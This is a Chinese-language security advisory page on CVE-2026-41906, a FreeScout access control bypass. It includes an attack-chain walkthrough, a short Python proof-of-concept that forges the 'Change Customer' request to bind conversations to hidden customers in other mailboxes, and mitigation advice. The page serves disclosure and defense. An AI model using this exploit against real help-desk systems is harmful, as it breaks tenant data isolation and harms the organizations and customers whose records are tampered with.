IPBUF安全漏洞报告
English
CVE-2026-41906 CVSS 7.1 高危

CVE-2026-41906 FreeScout权限绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41906
漏洞类型
访问控制绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

Access Control BypassPrivilege EscalationFreeScoutBusiness LogicIDOR

漏洞概述

FreeScout是基于Laravel框架的免费帮助台系统。在1.8.214版本之前,系统存在权限绕过漏洞。尽管前端“Change Customer”搜索接口正确过滤了非授权范围的客户,但后端conversation_change_customer接口未对提交的customer_email进行严格校验。低权限代理可伪造请求,将可见会话绑定到其他邮箱中的隐藏客户,破坏数据隔离。

技术细节

该漏洞的核心在于后端接口缺乏对业务逻辑上下文的完整校验,属于典型的访问控制绕过。具体而言,当用户尝试更改会话关联的客户时,前端虽然通过邮箱过滤器限制了搜索结果,防止用户直接看到越权的客户,但负责执行变更的后端API conversation_change_customer直接信任了客户端传入的customer_email参数,未进行二次权限验证。

攻击者利用此逻辑漏洞,首先登录低权限代理账号,找到任意可操作的会话ID。随后利用Burp Suite等工具拦截“Change Customer”的HTTP请求,将数据包中的customer_email参数修改为目标邮箱中某个隐藏客户的邮箱地址。由于后端未验证该邮箱是否属于当前代理的管理权限范围或同一邮箱上下文,服务器直接执行了数据库更新操作。成功利用后,攻击者可将原本可见的会话与未授权的客户进行非法绑定,导致数据完整性受损,破坏了多租户环境下的数据隔离原则。

攻击链分析

STEP 1
侦察
攻击者识别目标FreeScout实例,并确认其版本低于1.8.214。
STEP 2
获取访问权限
攻击者使用合法的低权限代理账号登录系统。
STEP 3
分析请求
攻击者打开一个会话并尝试修改客户信息,同时使用抓包工具拦截网络请求。
STEP 4
利用漏洞
攻击者修改拦截到的请求包,将customer_email参数替换为其他邮箱中隐藏客户的邮箱地址,并转发该请求。
STEP 5
达成影响
后端处理该恶意请求,将当前会话与未授权客户绑定,实现数据完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable FreeScout instance target_url = "https://example.com/conversations/change-customer" # Session cookie of a low-privileged agent attacker_cookies = { "freescout_session": "valid_low_privileged_session_cookie_here" } # The conversation ID that the agent has access to conversation_id = 1001 # The email of a hidden customer from another mailbox # This data is normally hidden by the frontend filter hidden_customer_email = "[email protected]" # Craft the malicious payload payload = { "conversation_id": conversation_id, "customer_email": hidden_customer_email, # Other required parameters if any } try: # Send the forged POST request response = requests.post(target_url, cookies=attacker_cookies, data=payload) if response.status_code == 200: print("[+] PoC successful: Conversation has been bound to the hidden customer.") else: print(f"[-] PoC failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

FreeScout < 1.8.214

防御指南

临时缓解措施
如果无法立即升级,建议管理员在网络边界部署WAF规则,针对conversation_change_customer接口实施严格的参数校验,拦截包含异常或非归属邮箱域名的请求。同时,应暂时禁用低权限代理修改会话所属客户的功能,直到完成补丁更新。

参考链接